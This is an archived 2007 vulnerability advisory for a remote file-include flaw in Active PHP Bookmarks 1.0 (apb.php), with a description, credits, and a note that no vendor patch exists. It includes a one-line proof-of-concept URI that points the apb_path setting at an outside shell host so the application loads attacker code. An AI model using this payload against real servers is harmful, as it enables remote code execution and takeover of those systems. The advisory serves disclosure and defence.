Active PHP Bookmarks APB.PHP Remote File Include Vulnerability

Bugtraq ID:	23670
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Apr 25 2007 12:00AM
Updated:	Apr 26 2007 04:30AM
Credit:	ali & saeid are credited with the discovery of this vulnerability.
Vulnerable:	Active PHP Bookmarks Active PHP Bookmarks 1.0
Not Vulnerable:

Active PHP Bookmarks APB.PHP Remote File Include Vulnerability

Active PHP Bookmarks is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Active PHP Bookmarks 1.0 is vulnerable; other versions may also be affected.

Active PHP Bookmarks APB.PHP Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/apb.php?APB_SETTINGS['apb_path']=http://shell/

Active PHP Bookmarks APB.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

Active PHP Bookmarks APB.PHP Remote File Include Vulnerability

References:

• Active PHP Bookmarks Homepage (Active PHP Bookmarks)